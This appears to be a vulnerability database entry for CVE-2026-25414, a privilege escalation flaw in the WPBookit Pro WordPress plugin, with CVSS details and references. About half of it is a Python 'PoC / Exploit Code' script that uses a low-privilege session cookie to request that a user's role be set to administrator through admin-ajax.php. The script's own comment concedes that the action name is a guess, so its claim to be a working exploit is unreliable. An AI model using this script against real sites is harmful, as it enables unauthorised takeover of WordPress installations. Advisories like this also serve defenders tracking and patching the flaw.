CVE-2026-25414

Description

Incorrect Privilege Assignment vulnerability in iqonicdesign WPBookit Pro wpbookit-pro allows Privilege Escalation.This issue affects WPBookit Pro: from n/a through <= 1.6.18.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

WPBookit Pro <= 1.6.18

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Exploit Title: WPBookit Pro - Privilege Escalation (CVE-2026-25414)
# Date: 2026-03-25
# Exploit Author: Security Analyst
# Vendor Homepage: https://iqonicdesign.com/
# Version: <= 1.6.18
# CVE: CVE-2026-25414

target_url = "http://target-site.com/wp-admin/admin-ajax.php"

# Attacker's low-privilege session cookie
cookies = {
    "wordpress_logged_in_xxx": "attacker_cookie_value"
}

# Payload to escalate privileges to Administrator
# Note: The specific action parameter depends on the vulnerable hook in the plugin
payload = {
    "action": "wpbookit_update_user_role", 
    "role": "administrator",
    "user_id": "2" # ID of the user to escalate (often self)
}

try:
    response = requests.post(target_url, data=payload, cookies=cookies)
    if response.status_code == 200:
        print("[+] Request sent successfully. Check if privileges were escalated.")
        print("[+] Response:", response.text)
    else:
        print("[-] Failed to send request.")
except Exception as e:
    print(f"[-] Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-25414
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-25414
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-25414/
[4] VulDB https://vuldb.com/cve/CVE-2026-25414
[5] https://patchstack.com/database/Wordpress/Plugin/wpbookit-pro/vulnerability/wordpress-wpbookit-pro-plugin-1-6-18-privilege-escalation-vulnerability?_s_id=cve

Raw JSON Data

JSON

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